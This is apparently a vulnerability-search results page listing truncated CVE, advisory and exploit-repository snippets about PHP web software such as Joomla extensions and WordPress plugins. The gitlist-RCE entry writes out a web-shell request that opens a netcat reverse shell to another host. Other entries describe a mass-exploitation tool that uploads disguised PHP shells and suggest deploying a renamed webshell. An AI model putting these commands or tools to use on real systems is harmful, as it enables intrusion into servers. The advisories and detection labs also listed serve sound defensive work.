106212 matches found
CVE-2026-102425
Joomla Extension - balbooa.com - Unauthenticated RCE via field shortcode injection in Balbooa Forms 2.4.3.4 - Balbooa Forms supports administrator-defined PHP code which runs after a public form submission. The feature also supports form-field shortcodes inside that PHP. Before calling eval, the...
gitlist-RCE
gitlist-RCE CVE-2014-4511 例: シェルアップロード成功後: アクセス: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...
CVE-2026-102425
The Joomla Extension - balbooa.com is vulnerable to unauthenticated Remote Code Execution (RCE) in Balbooa Forms versions
EUVD-2026-89099
Joomla Extension - balbooa.com - Unauthenticated RCE via field shortcode injection in Balbooa Forms 2.4.3.4 - Balbooa Forms supports administrator-defined PHP code which runs after a public form submission. The feature also supports form-field shortcodes inside that PHP. Before calling eval, the...
CVE-2026-102425 Joomla Extension - balbooa.com - Unauthenticated RCE via field shortcode injection in Balbooa Forms < 2.4.3.4
Joomla Extension - balbooa.com - Unauthenticated RCE via field shortcode injection in Balbooa Forms 2.4.3.4 - Balbooa Forms supports administrator-defined PHP code which runs after a public form submission. The feature also supports form-field shortcodes inside that PHP. Before calling eval, the...
CVE-2026-102425 Joomla Extension - balbooa.com - Unauthenticated RCE via field shortcode injection in Balbooa Forms < 2.4.3.4
Joomla Extension - balbooa.com - Unauthenticated RCE via field shortcode injection in Balbooa Forms 2.4.3.4 - Balbooa Forms supports administrator-defined PHP code which runs after a public form submission. The feature also supports form-field shortcodes inside that PHP. Before calling eval, the...
DEBIAN-CVE-2026-102601
Flysystem is an open source file storage library for PHP. Prior to 3.35.3, the default WhitespacePathNormalizer in src/WhitespacePathNormalizer.php used by Filesystem across adapters calls pregmatch with the u modifier and treats both false and 0 as falsy. A path containing malformed UTF-8 causes...
CVE-2026-39023
CVE-2026-39023 RCE poc - RESPONSIVE filemanager v.9.14.0 最后一个版本 - 未修补 Github 项目：https://github.com/trippo/ResponsiveFilemanager 要求：无需任何条件，此漏洞利用无需认证。 Responsive Filemanager 应用是一个基于 Web 的文件管理工具，用于管理服务器上的文件。此漏洞（CVE-2026-39023）允许攻击者利用重复文件创建 PHP 文件，从而导致在目标系统上远程执行代码。...
cve-2026-75650-magento-validation-lab
CVE-2026-75650 / VULN-39341 Docker validation lab This standalone lab reproduces the complete unauthenticated StyleSmuggler HTTP chain on a revision-pinned Magento Open Source 2.4.9 checkout. It then applies Adobe's VULN-39341 patch and proves that the identical request sequence no longer reaches...
OPENSUSE-SU-2026:21970-1 Security update for php-composer2
This update for php-composer2 fixes the following issues: - CVE-2026-59944: path traversal and link following issue can make files world readable and executable bsc1279898...
CVE-2026-3296
CVE-2026-3296 CVE-2026-3296 是 Everest Forms WordPress 插件中的一个 CVSS 9.8 严重级别的未认证 PHP 对象注入漏洞 CVE-2026-3296 — Everest Forms PHP 对象注入扫描器 插件： Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder 插件别名（Slug）： everest-forms CVE ID： CVE-2026-3296 CVSS 评分： 9.8（严重） CVSS 向量：...
CVE-2026-48908-joomla-sp-page-builder-detection
CVE-2026-48908 — Joomla SP Page Builder 検証と検知 Joomla SP Page Builder コンポーネントにおけるCVE-2026-48908の実験室検証。技術的証拠、イベント再構築、防御的検知の機会に焦点を当てています。 このリポジトリは、SP Page Builder の asset.uploadCustomIcon エンドポイントが、Joomla...
Vulnerability-Assessment-and-OSINT-CVE-2012-1823
漏洞评估与OSINT：CVE-2012-1823 我的仓库记录了在目标网络扫描中发现、分析并收集特定安全漏洞的开源情报（OSINT）的完整过程。 流程概览 本次评估执行的工作流程分为四个主要阶段： 1. 侦察与漏洞检测 使用工具 ：Nmap 操作 ：使用以下命令执行高级网络扫描： nmap --script-help http-vuln-cve2012-1823 发现结果 ：目标环境正在运行过时的 PHP-CGI 配置。NSE（Nmap 脚本引擎）脚本确认存在 CVE-2012-1823 ，这是一个侵入性的 PHP-CGI 参数注入漏洞，允许远程攻击者检索源代码并执行任意代码。 2...
CVE-2022-4047
CVE-2022-4047 Return Refund and Exchange For WooCommerce 4.0.9 - Unauthenticated Arbitrary File Upload 使用方法 @@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@@@@ @@@@@@ @@@ @@@@@@@@ @@@ @@@@@@@@ @@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@ @@@@@@@@@@ @@@@ @@@@@@@@ !@@ @@! @@@ @@...
Zero-Day-Legacy
🎓 卒業プロジェクト — Ajloun National University ANU IT学部 · サイバーセキュリティ＆クラウドコンピューティング · 2026年度 🏆 大学最高評価：97% 📖 概要 Zero-Day Legacy は、Ajloun National University の卒業プロジェクトとして構築された、現実的で意図的に脆弱性を持たせた Boot-to-Root CTF（Capture The Flag） ラボマシンです。複数の脆弱性クラスにわたる完全な実世界の攻撃チェーンを包含する、Royal Health Hospital という病院管理システ...
CVE-2026-4885
CVE-2026-4885 – Piotnet Addons for Elementor Pro 批量利用工具 未经验证的文件上传导致 Piotnet Addons for Elementor Pro ≤ 7.1.70 中的远程代码执行（RCE）。 该工具专为 批量利用 设计——提供一个目标列表，它会自动： 检测插件版本（如果找到资源文件则假定存在漏洞） 执行高级侦察，提取 postid、formid 和正确的上传字段名称 尝试多种 PHP 扩展名（.phtml、.php3、.php4、.phps、.pht、.php2）以绕过弱过滤器 上传一个 带有 GIF89a 头部的 PHP She...
CVE-2026-48907
CVE-2026-48907 CVE-2026-48907 是 Joomla 的 JCE 编辑器扩展中的一个严重的不当访问控制漏洞。它允许未认证的攻击者创建新的编辑器配置文件，最终可能导致在受影响系统上任意上传 PHP 文件并执行远程代码。 此外，如果你想要 webshell，可以使用任意 webshell，只需将其重命名为 alfa.php 或使用自定义的 php 名称，但你必须更改 Python 代码中的名称，所以尽情享受吧。 另一件事：永远不要使用从垃圾 Python pypi 安装的 nuclei，始终使用 Go 版本的 nuclei 以获得更好的结果，使用 httpx...
CVE-2025-14177
CVE-2025-14177 — PHP getimagesize ヒープメモリリーク 許可されたペネトレーションテストおよびセキュリティ研究にのみ使用してください。 脆弱性 フィールド| 値 ---|--- CVE| CVE-2025-14177 CWE| CWE-524 Use of Uninitialized Resource 深刻度| 中程度 — CVSS 6.3 根本原因| phpreadstreamallchunks は連続するチャンクを buffer0 に書き込み、以前のデータを未初期化のヒープメモリで上書きします 影響を受けるバージョン PHP 8.1.34 PHP...
symfony
Symfony 是一个用于Web和控制台应用程序的 PHP框架 ，也是一组可复用的 PHP组件 。Symfony被成千上万的Web应用程序以及大多数 流行的PHP项目 所使用。 安装 使用 Composer 安装 Symfony（参见 需求细节）。 Symfony 严格遵守 语义化版本控制，发布“长期支持 LTS”版本，并拥有可预测且对业务友好的 发布流程。 赞助 Symfony 8.2 正在寻找 支持者。 通过 赞助 其开发来帮助 Symfony！ 文档 如果你是 Symfony 新手，请阅读 入门指南。 尝试 Symfony 演示应用，在实践中学习 Symfony。 通过 Symfo...